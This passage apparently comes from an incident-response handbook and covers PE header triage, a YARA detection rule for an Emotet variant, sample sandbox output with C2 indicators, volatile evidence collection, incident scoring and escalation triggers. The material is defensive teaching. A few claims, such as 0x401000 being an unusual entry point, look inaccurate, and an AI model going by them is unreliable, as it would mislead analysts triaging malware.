3. **PE Header Analysis**:
   ```
   Using PEStudio:
   - Entry point: 0x401000 (unusual offset may indicate obfuscation)
   - Sections: .text, .data, .rsrc
   - Imports: kernel32.dll, advapi32.dll (legitimate APIs)
   - But also: urlmon.dll (internet communication, malicious if unusual)
   - Exports: None (most malware has no exports)
   ```

4. **YARA Rule Creation**:
   ```
   rule Emotet_Variant {
     meta:
       author = "IR Team"
       description = "Emotet malware variant"
     strings:
       $c2 = "malware-c2.com" ascii
       $beacon = { 48 8B 45 ?? 48 8B 00 FF } // x64 shellcode pattern
     condition:
       $c2 or $beacon
   }

   Usage: yara emotet.yar malware.exe
   Output: Emotet_Variant malware.exe
   ```

---

### Dynamic Analysis

Dynamic analysis executes malware in a controlled environment.

**Sandboxes**: Any.run, Cuckoo, Joe Sandbox, Hybrid-Analysis

**Execution & Monitoring**:
```
1. Upload malware to sandbox
2. Execute in isolated VM (no internet, monitored)
3. Monitor: process execution, files created, registry modified, network connections
4. Collect output: behavioral report, PCAP, memory dump
```

**Example Analysis Output**:
```
File: malware.exe
Sha256: a1b2c3d4e5f6...

Processes:
  - malware.exe spawns cmd.exe
  - cmd.exe spawns powershell.exe
  - powershell.exe loads DLL from temp folder

Files:
  - Created: C:\Users\[user]\AppData\Local\Temp\payload.dll
  - Modified: HKCU\Software\Microsoft\Windows\Run (persistence)

Network:
  - DNS query: malware-c2.com (NXDOMAIN, sinkholed)
  - Attempted connection: 185.220.100.1:443 (blocked)

Verdict: MALWARE — Trojan with persistence, attempts C2 communication
```

---

## 6. Initial Evidence Collection

RFC 3227 defines the order to collect volatile data (lost on shutdown).

**Volatility Collection Order**:

1. **Memory** (most volatile, lost first on shutdown)
   - RAM dump using WinPmem, DumpIt, or equivalent
   - Hash memory dump immediately

2. **System State** (lost on shutdown)
   - Running processes (tasklist /v)
   - Network connections (netstat -abno)
   - Logged-in users (query user)
   - Open files (openfiles /query)

3. **Disk Cache** (lost on shutdown)
   - Filesystem cache (memory)
   - Temporary files (may be cleared)

4. **Log Files** (semi-persistent, best captured early)
   - Event logs (Windows)
   - System logs (Linux)
   - Application logs
   - Firewall/proxy logs

5. **Disk** (non-volatile, captured later)
   - Full disk image (using write-blocker + FTK Imager)
   - Hash image immediately

---

## 7. Incident Scoring and Prioritisation

When multiple incidents are active, prioritisation determines response order.

### Multi-Factor Scoring Matrix

| **Factor** | **Weight** | **Scoring** |
|---|---|---|
| **Business Impact** | 40% | None=0, Degraded=25, Unavailable=50 |
| **Data Sensitivity** | 30% | Public=0, Internal=25, PII=50, PHI/Financial=75 |
| **Systems Affected** | 20% | 1=10, 2-5=20, 6-20=30, >20=40 |
| **Attacker Activity** | 10% | Dormant=5, Active=15 |

**Example Scoring**:

```
Incident A: Ransomware on file server
- Business Impact: System unavailable (50)
- Data Sensitivity: Financial records (75)
- Systems Affected: 3 servers (20)
- Attacker Activity: Active encryption (15)
Score: (50 × 0.4) + (75 × 0.3) + (20 × 0.2) + (15 × 0.1)
      = 20 + 22.5 + 4 + 1.5 = 48/100 [CRITICAL]

Incident B: Phishing email detected
- Business Impact: Potential credential theft (25)
- Data Sensitivity: User credentials (25)
- Systems Affected: 1 user (10)
- Attacker Activity: Dormant (5)
Score: (25 × 0.4) + (25 × 0.3) + (10 × 0.2) + (5 × 0.1)
      = 10 + 7.5 + 2 + 0.5 = 20/100 [MEDIUM]

Action: Prioritise Incident A first
```

---

## 8. Escalation Triggers

Define when to escalate from current level to executive leadership.

**Escalation Decision Tree**:

```
Incident Detected
  ↓
Severity >= HIGH? ───YES──→ Escalate to CISO (within 30 min)
                  ↓
              Severity = MEDIUM? ──YES──→ Notify CISO (within 2 hours)
                                  ↓
                              Routine response

Data Breach Suspected? ──YES──→ Escalate to Legal immediately
                      ↓

>10 Systems Affected? ──YES──→ Escalate to CISO
                    ↓

Ransomware Confirmed? ──YES──→ Escalate to CISO immediately
                    ↓

Attacker Active? ──YES──→ Escalate to CISO
                ↓
                Routine handling
```

---

*Next Steps: Review [[05-Containment-Phase]] for detailed containment and eradication strategies.*

---

**Tags**: #Detection #Analysis #IOC #ThreatHunting #SIEM #Triage #Forensics #IncidentHandling